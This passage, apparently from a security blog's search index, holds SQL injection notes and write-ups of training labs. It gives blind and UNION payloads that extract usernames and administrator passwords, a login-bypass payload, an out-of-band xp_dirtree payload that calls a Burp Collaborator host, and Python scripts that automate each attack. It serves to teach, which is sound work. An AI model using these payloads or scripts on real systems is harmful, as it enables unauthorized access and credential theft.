class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eb\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"n\"\u003ethe\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003efirst\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eposicion\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003ec\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"n\"\u003ehow\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003emany\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003echars\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"o\"\u003e#\u003c/span\u003e\u003cspan class=\"n\"\u003ePayload1\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"n\"\u003ewww\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003erandom\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ecom\u003c/span\u003e\u003cspan class=\"o\"\u003e/\u003c/span\u003e\u003cspan class=\"n\"\u003eapp\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ephp\u003c/span\u003e\u003cspan class=\"o\"\u003e?\u003c/span\u003e\u003cspan class=\"n\"\u003eid\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eand\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eSUBSTRING\u003c/span\u003e\u003cspan class=\"p\"\u003e((\u003c/span\u003e\u003cspan class=\"k\"\u003eSELECT\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ePassword\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eFROM\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eUsers\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eWHERE\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eUsername\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;Administrator\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e),\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;s\u0026#39;\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"o\"\u003e#\u003c/span\u003e\u003cspan class=\"n\"\u003eQuery\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"k\"\u003eselect\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003etitle\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003efrom\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eproduct\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003ewhere\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eid\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eand\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eSUBSTRING\u003c/span\u003e\u003cspan class=\"p\"\u003e((\u003c/span\u003e\u003cspan class=\"k\"\u003eSELECT\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ePassword\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eFROM\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eUsers\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eWhere\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eUsername\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;Administrator\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e),\u003c/span\u003e\u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;s\u0026#39;\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"o\"\u003e#\u003c/span\u003e\u003cspan class=\"k\"\u003eresult\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003enothing\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eis\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ereturned\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ebecause\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eis\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003efalse\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"o\"\u003e#\u003c/span\u003e\u003cspan class=\"n\"\u003ePayload\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"mi\"\u003e2\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"n\"\u003ewww\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003erandom\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ecom\u003c/span\u003e\u003cspan class=\"o\"\u003e/\u003c/span\u003e\u003cspan class=\"n\"\u003eapp\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ephp\u003c/span\u003e\u003cspan class=\"o\"\u003e?\u003c/span\u003e\u003cspan class=\"n\"\u003eid\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eand\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eSUBSTRING\u003c/span\u003e\u003cspan class=\"p\"\u003e((\u003c/span\u003e\u003cspan class=\"k\"\u003eSELECT\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ePassword\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eFROM\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eUsers\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eWhere\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eUsername\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;Administrator\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e),\u003c/span\u003e\u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;e\u0026#39;\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"o\"\u003e#\u003c/span\u003e\u003cspan class=\"n\"\u003eQuery\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"k\"\u003eselect\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003etitle\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003efrom\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eproduct\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003ewhere\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eid\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eand\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eSUBSTRING\u003c/span\u003e\u003cspan class=\"p\"\u003e((\u003c/span\u003e\u003cspan class=\"k\"\u003eSELECT\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ePassword\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eFROM\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eUsers\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eWHERE\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eUsername\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;Administrator\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e),\u003c/span\u003e\u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;e\u0026#39;\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"o\"\u003e#\u003c/span\u003e\u003cspan class=\"k\"\u003eresult\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eReturned\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003etrue\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ethe\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003etile\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eof\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eproduct\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eid\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eis\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ereturned\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ebc\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;e\u0026#34;\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eis\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ethe\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003efirst\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nb\"\u003echaracter\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eof\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ethe\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ehashed\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003epass\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003ch3 id=\"time-based-blind-sqli\"\u003eTime-based Blind SQLi\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eRelies in the database pausing for a specified amount of time, then returning the result, indicating a success SQL query execution\u003c/li\u003e\n\u003cli\u003eEx: if the first character of the administrator’s hashed pass is an “a”, wait 10 seconds.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2 id=\"out-of-band-oast-sqli\"\u003eOut-of-band (OAST) SQLi\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eConsists of triggering an out-of-band network connection to a system that you control\n\u003cul\u003e\n\u003cli\u003eNot common, uses variety os protocols (DNS,HTTP)\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-sql\" data-lang=\"sql\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"s1\"\u003e\u0026#39;; exec master..xp_dirtree \u0026#39;\u003c/span\u003e\u003cspan class=\"o\"\u003e//\u003c/span\u003e\u003cspan class=\"mi\"\u003e434934839493499\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eburpcollabolator\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003enet\u003c/span\u003e\u003cspan class=\"o\"\u003e/\u003c/span\u003e\u003cspan class=\"n\"\u003ea\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;--\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003ch2 id=\"second-order-sqli\"\u003eSecond order SQLi\u003c/h2\u003e\n\u003cp\u003eSecond order SQLi happens when applications user input gets stored in the database, then retrieved and used unsafely in a SQL query.\nFor example consider an app that register an user by specifying username and password, and the user submit the following request:\u003c/p\u003e","title":"SQL Injection"},{"content":"Lab 1 - SQL injection vulnerability in WHERE clause allowing retrieval of hidden data We need to retrieve hidden data so we search query\u0026rsquo;s in the web where we can inject some sql injection payloads\nWe can see that the request is filtering the data by category, and we are asked to show the hidden elements, so we assume that there is a parameter that hides the elements.\nWe try the following payload that will show the elements of all categories and we will comment out the rest of the query so that it does not filter by hidden or visible elements:\nSELECT * FROM products WHERE category=\u0026#39;Tech gifts\u0026#39;or 1=1-- This payload will comment everything else from the query, so it will show us all the elements, released or unreleased.\nWith this we can see the hidden data and finish the lab.\nLab 1 Python Script With this script the sql injection process is done automatically based on the fact that we already know the manual output, in this case we verify that the object \u0026ldquo;3D Voice Assistant\u0026rdquo; is in the web response and don´t forget to set the proxies.\nimport requests import sys import urllib3 urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) proxies = {\u0026#39;http\u0026#39;: \u0026#39;http://127.0.0.1:8080\u0026#39;, \u0026#39;https\u0026#39;:\u0026#39;http://127.0.0.1:8080\u0026#39;} def exploit_sqli(url, payload): uri=\u0026#39;/filter?category=\u0026#39; r=requests.get(url+uri+payload,verify=False, proxies=proxies) if \u0026#39;3D Voice Assistants\u0026#39; in r.text: return True else: return False if __name__==\u0026#34;__main__\u0026#34;: try: url = sys.argv[1].strip() payload = sys.argv[2].strip() except IndexError: print(\u0026#39;Usage: %s \u0026lt;url\u0026gt; \u0026lt;payload\u0026gt;\u0026#39; % sys.argv[0]) print(\u0026#39;Example: %s www.example-com \u0026#34;1=1\u0026#34;\u0026#39; % sys.argv[0]) sys.exit(-1) if exploit_sqli(url,payload): print(\u0026#34;SQL Injection Successfull\u0026#34;) else: print(\u0026#34;Injection Failed, try again\u0026#34;) Lab 2 - SQL injection vulnerability allowing login bypass In this lab we will use the same idea as in the first lab, we will discuss the validation of the password in the query to let us log in as administrator with only the username with this payload admnistrator'-- and the query would look like this:\nSELECT * FROM users WHERE username=\u0026#39;administrator\u0026#39;--\u0026#39; and password=\u0026#39;something\u0026#39; This payload will comment the password validation and only will verify the correct username, in this case they give us this hint.\nLab 2 Python Script With this script the sql injection process is done automatically based on the fact that we already know the manual output, in this case we verify that the object \u0026ldquo;3D Voice Assistant\u0026rdquo; is in the web response and don´t forget to set the proxies.\nimport requests import sys import urllib3 urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) proxies = {\u0026#39;http\u0026#39;: \u0026#39;http://127.0.0.1:8080\u0026#39;, \u0026#39;https\u0026#39;:\u0026#39;http://127.0.0.1:8080\u0026#39;} a_session = requests.Session() def exploit_sqli(url, payload): uri=\u0026#39;/login\u0026#39; r=a_session.post(url+uri, data={\u0026#39;username\u0026#39;:payload, \u0026#39;password\u0026#39;:\u0026#39;a\u0026#39;, \u0026#39;csrf\u0026#39;:\u0026#39;EDWeHPACH8bS0tDjAm7gCWzRdGPPYdGT\u0026#39;},verify=False, proxies=proxies, cookies={\u0026#39;session\u0026#39;:\u0026#39;mnSlrxs2JjbmuE7icjEsJHJKgswWnkA5\u0026#39;}) if \u0026#39;Log out\u0026#39; in r.text: return True else: return False if __name__==\u0026#34;__main__\u0026#34;: try: url = sys.argv[1].strip() payload = sys.argv[2].strip() except IndexError: print(\u0026#39;Usage: %s \u0026lt;url\u0026gt; \u0026lt;payload\u0026gt;\u0026#39; % sys.argv[0]) print(\u0026#39;Example: %s www.example-com \u0026#34;1=1\u0026#34;\u0026#39; % sys.argv[0]) sys.exit(-1) if exploit_sqli(url,payload): print(\u0026#34;SQL Injection Successfull\u0026#34;) else: print(\u0026#34;Injection Failed, try again\u0026#34;) For this script to work we need the session cookie and the csrf token that we get by intercepting the post with burpsuite.\nLab 3 - SQL injection UNION attack, determining the number of columns returned by the query In this lab we have to find out the number of columns that has the table of objects displayed on the web, in this case is filtering by category, but we will use UNION and NULL VALUES to determine how many columns exist, for that we will use as an example UNION SELECT NULL, NULL --, which will add to the query null fields for each column found.\nThe query will look something like this\nSELECT * FROM PRODUCTS WHERE category=\u0026#39;Gifts\u0026#39;UNION SELECT NULL, NULL, NULL-- If the response returns a 504 error, it means that there is a syntax error, that happens because there are more columns than null fields, then you will have to add more null fields until they are equal.\nAs you can see the objective is to return an error 200, this way we know that the number of columns in the table is equal to the number of null fields we have added.\nLab 3 Python Script With this script we will be automating the request to achieve sql injection, it is based on adding null values until it returns the response code 200, which means that the number of null values is equal to the number of columns in the table.\nimport requests import sys import urllib3 urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) proxies = {\u0026#39;http\u0026#39;: \u0026#39;http://127.0.0.1:8080\u0026#39;, \u0026#39;https\u0026#39;:\u0026#39;http://127.0.0.1:8080\u0026#39;} def exploit_sqli(url, payload): uri=\u0026#34;filter?category=Gifts\u0026#34; for i in range (1,10): print(\u0026#34;The url for request is: \u0026#34;+url+uri+payload+\u0026#34;--\u0026#34;) r=requests.get(url+uri+payload+\u0026#34;--\u0026#34;, verify=False, proxies=proxies) if r.status_code==200: return i payload+=\u0026#34;,+NULL\u0026#34; return False if __name__==\u0026#34;__main__\u0026#34;: try: url = sys.argv[1].strip() payload = \u0026#34;\u0026#39;UNION+SELECT+NULL\u0026#34; except IndexError: print(\u0026#39;Usage: %s \u0026lt;url\u0026gt; \u0026#39; % sys.argv[0]) print(\u0026#39;Example: %s www.example-com \u0026#39; % sys.argv[0]) sys.exit(-1) columns=exploit_sqli(url,payload) if columns: print(\u0026#34;SQL Injection Successfull, the number of columns are {columns}\u0026#34;.format(columns=str(columns))) else: print(\u0026#34;Injection Failed, try again\u0026#34;) For this case I am only testing 10 iterations, in case you are going to test too many iterations, it is recommended to create a session with the session library and attach the cookie as a parameter to make the requests more stable.\nLab 4 - SQL injection UNION attack, finding a column containing text In this lab we have to achieve the retrieve of the string \u0026lsquo;gIkMM7\u0026rsquo; by the database, for this we need to know which column contains string format values, for that we make use of the tip learned in the theory section.\nProbe each column to test whether it can hold string data by submitting a series of UNION SELECT payloads that place a string value into each column in turn\nThe payload to enter would be '+UNION+SELECT+NULL,'gIkMM7',+NULL--.\nThe query will look something like this:\nSELECT * FROM PRODUCTS WHERE category=\u0026#39;Gifts\u0026#39;UNION SELECT NULL, \u0026#39;gIkMM7\u0026#39;, NULL-- As we already knew, the table has 3 columns and we should only be testing in which of these columns the format is string, in this case the second column is string format, that\u0026rsquo;s why it returns what we requested\nLab 4 Python Script What this script does is to test the string given in each of the columns to know which of these accepts string format, when the response code is 200, it means that it has accepted the request, and has managed to inject sql code.\nimport requests import sys import urllib3 urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) proxies = {\u0026#39;http\u0026#39;: \u0026#39;http://127.0.0.1:8080\u0026#39;, \u0026#39;https\u0026#39;:\u0026#39;http://127.0.0.1:8080\u0026#39;} def exploit_sqli(url): uri=\u0026#34;filter?category=Gifts\u0026#34; cols = [\u0026#34;\u0026#39;gIkMM7\u0026#39;, NULL, NULL\u0026#34;, \u0026#34;NULL, \u0026#39;gIkMM7\u0026#39;, NULL\u0026#34;, \u0026#34;NULL, NULL, \u0026#39;gIkMM7\u0026#39;\u0026#34;] for c in cols: q = f\u0026#34;\u0026#39; UNION SELECT {c}-- \u0026#34; print(\u0026#34;The url for request is: {url}\u0026#34;.format(url=url+uri+q)) r=requests.get(url+uri+q, verify=False, proxies=proxies) if r.status_code==200: return q return False if __name__==\u0026#34;__main__\u0026#34;: try: url = sys.argv[1].strip() payload = \u0026#34;\u0026#39;UNION+SELECT+NULL\u0026#34; except IndexError: print(\u0026#39;Usage: %s \u0026lt;url\u0026gt;\u0026#39; % sys.argv[0]) print(\u0026#39;Example: %s www.example-com\u0026#39; % sys.argv[0]) sys.exit(-1) columns=exploit_sqli(url) if columns: print(\u0026#34;SQL Injection Successfull\u0026#34;) else: print(\u0026#34;Injection Failed, try again\u0026#34;) In this case the table has only 3 columns and it could be done in an easy way, since there are only 3 cases to test as maximum, in the case that the table has many columns it would be better a session with the session library and not use lists, but a permutation code to be more efficient.\nLab 5 - SQL injection UNION attack, retrieving data from other tables In this lab we only need to retrieve the administrator password found in the users table, as the description says, we will use the following payload 'UNION SELECT username, password FROM users-- that will allow us to extract the user and password The query will look something like this:\nSELECT * FROM PRODUCTS WHERE category=\u0026#39;Gifts\u0026#39;UNION SELECT username, password FROM users-- Lab 5 Python Script This lab is simple, because we only have to request the username and password from the users table and it has the same format as what is shown on the web, a title and the content, if we did not have the name of these columns we would have to find it out first.\nimport requests import sys import urllib3 urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) proxies = {\u0026#39;http\u0026#39;: \u0026#39;http://127.0.0.1:8080\u0026#39;, \u0026#39;https\u0026#39;:\u0026#39;http://127.0.0.1:8080\u0026#39;} def exploit_sqli(url,payload): uri=\u0026#34;category?=Gifts\u0026#34; print(\u0026#34;The url for request is: {url}--\u0026#34;.format(url=url+uri+payload)) r=requests.get(url+uri+payload+\u0026#34;--\u0026#34;, verify=False, proxies=proxies) if r.status_code==200: return True return False if __name__==\u0026#34;__main__\u0026#34;: try: url = sys.argv[1].strip() payload = \u0026#34;\u0026#39;UNION SELECT username, password FROM Users\u0026#34; except IndexError: print(\u0026#39;Usage: %s \u0026lt;url\u0026gt;\u0026#39; % sys.argv[0]) print(\u0026#39;Example: %s www.example-com\u0026#39; % sys.argv[0]) sys.exit(-1) columns=exploit_sqli(url,payload) if columns: print(\u0026#34;SQL Injection Successfull\u0026#34;) else: print(\u0026#34;Injection Failed, try again\u0026#34;) Lab 6 - SQL injection UNION attack, retrieving multiple values in a single column In this lab we only have to concatenate two strings of different columns in a single column, since only one column of the table is in string format, for that we use the payload 'UNION SELECT NULL, username || '-' || password FROM users--, remember that the syntax for concatenation may vary according to the database, I leave you this table for your guidance:\nDB Version Syntax for string concatenation Oracle \u0026lsquo;foo\u0026rsquo;||\u0026lsquo;bar\u0026rsquo; Microsoft \u0026lsquo;foo\u0026rsquo;+\u0026lsquo;bar\u0026rsquo; PostgreSQL \u0026lsquo;foo\u0026rsquo;||\u0026lsquo;bar\u0026rsquo; MySQL \u0026lsquo;foo\u0026rsquo; \u0026lsquo;bar\u0026rsquo; or CONCAT (\u0026lsquo;foo\u0026rsquo;,\u0026lsquo;bar\u0026rsquo;) The query will look something like this:\nSELECT * FROM PRODUCTS WHERE category=\u0026#39;Gifts\u0026#39;UNION SELECT NULL, username ||\u0026#39;-\u0026#39;|| password FROM users-- this is what we get back from the web, the blessed credentials. Lab 6 - Python Script import requests import sys import urllib3 urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) proxies = {\u0026#39;http\u0026#39;: \u0026#39;http://127.0.0.1:8080\u0026#39;, \u0026#39;https\u0026#39;:\u0026#39;http://127.0.0.1:8080\u0026#39;} def exploit_sqli(url,payload): uri=\u0026#34;category?=Gifts\u0026#34; print(\u0026#34;The url for request is: {url}--\u0026#34;.format(url=url+uri+payload)) r=requests.get(url+uri+payload+\u0026#34;--\u0026#34;, verify=False, proxies=proxies) if r.status_code==200: return True return False if __name__==\u0026#34;__main__\u0026#34;: try: url = sys.argv[1].strip() payload = \u0026#34;\u0026#39;UNION SELECT username ||\u0026#39;-\u0026#39;|| password FROM Users\u0026#34; except IndexError: print(\u0026#39;Usage: %s \u0026lt;url\u0026gt;\u0026#39; % sys.argv[0]) print(\u0026#39;Example: %s www.example-com\u0026#39; % sys.argv[0]) sys.exit(-1) columns=exploit_sqli(url,payload) if columns: print(\u0026#34;SQL Injection Successfull\u0026#34;) else: print(\u0026#34;Injection Failed, try again\u0026#34;) Lab 7 - SQL injection attack, querying the database type and version on Oracle In this lab, we have to find out the oracle database version, for this case first we must know how many columns the table has, in this case we can see 2 columns, since only the title and the description of the article are shown, then we use our cheat-sheet to make the corresponding query, so the payload in the URL will be: 'UNION SELECT 'VERSION', banner FROM v$version --. And the query will look something like this:\nSELECT * FROM PRODUCTS WHERE 